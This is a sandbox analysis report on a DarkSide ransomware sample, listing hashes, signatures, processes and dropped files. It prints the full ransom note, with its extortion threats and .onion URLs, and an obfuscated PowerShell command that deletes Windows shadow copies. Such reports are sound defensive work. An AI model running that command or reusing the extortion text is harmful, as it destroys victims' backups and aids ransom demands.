Analysis

  • max time kernel
    34s
  • max time network
    70s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    12-05-2021 19:34

General

  • Target

    68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

  • Size

    59KB

  • MD5

    9e779da82d86bcd4cc43ab29f929f73f

  • SHA1

    e6b47869caa776840ab79856b04096152103c71d

  • SHA256

    68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7

  • SHA512

    e0a172b862054b63c26e8852019cbd46b68c6102e4bae802ba851ae950798d336295795c0cc5d68002a0467c62e5800f1ecfdae05de2709d57bcc31375276bb7

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 30GB data. These files include: - Accounting - Finance - Internal documents - Insurance Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM When you open our website, put the following data in the input form: Key: 9mMrqcP7meAPxAvXF25ONPJ4KqIozRuGzFKqvsN4XCuThdVZqteuONtPOu4gYqMXcEcWUx5wELPmbMsI2CcmFySRZJDqPLc8rvxUGJg12wuZki8EizCFaG5L8oQTfgOCvMrTkxmSmVhcSjQt340z9fXWhyQzy96XBkwAzIWp5uviJyAZ9ZBKDlodGa6SDkIFdYVlVQi7R9qzQE4G2KqmQ6Tmim4kCalkH4dBxGYkUC1wCyCncUMAWD7egCaKoKGlHiK99ANxmxFulbvoV8vjn2ArqDm46RNzoMk8C9QGpPsPL0GGppW1izBwguSXug4DrPjvvAmZVJzLrGx0LEH8srhneZnfrSLHm2tDwmOog8obV8IMYF41AuvVX1JyzDkhU282ECvBXDBb7URumIHdSnnVOKCVTKmuC1R3srHwxmd6RweVC1IkvHD7Bt7ybXffJVfRkyhMdpXHLREpoWItO1tlQZxvBUKZlrd7hJGSwZSlR3NWx61XMxuptxrXt7ZOHNJ4AkeJ2FvepgCazbuV57FP38CVC4mHsxyBWCDioj4RmEhA0AMn5Z5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv

http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
    "C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3376

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    MD5

    ea6243fdb2bfcca2211884b0a21a0afc

    SHA1

    2eee5232ca6acc33c3e7de03900e890f4adf0f2f

    SHA256

    5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

    SHA512

    189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    cc52579ee297550c1e8b266243a90dcf

    SHA1

    707fd4c93c8bf70748f87f219e7612850a6cc75e

    SHA256

    5dc894e0d8d5c71206695d4032983adea7d8701c6274e97db598879ece39a88f

    SHA512

    0c3b02e0892e3d0344eacb2d4fa67dad08f48ea7afc614000ba97069c462040f5e59b1391e559386093f53b3d679d10b95920f2aeb5305ee9e6217af43421224

  • memory/2776-114-0x0000000000000000-mapping.dmp

  • memory/2776-119-0x000002B2F8C00000-0x000002B2F8C01000-memory.dmp

    Filesize

    4KB

  • memory/2776-122-0x000002B2F8EE0000-0x000002B2F8EE1000-memory.dmp

    Filesize

    4KB

  • memory/2776-124-0x000002B2F6BF3000-0x000002B2F6BF5000-memory.dmp

    Filesize

    8KB

  • memory/2776-123-0x000002B2F6BF0000-0x000002B2F6BF2000-memory.dmp

    Filesize

    8KB

  • memory/2776-133-0x000002B2F6BF6000-0x000002B2F6BF8000-memory.dmp

    Filesize

    8KB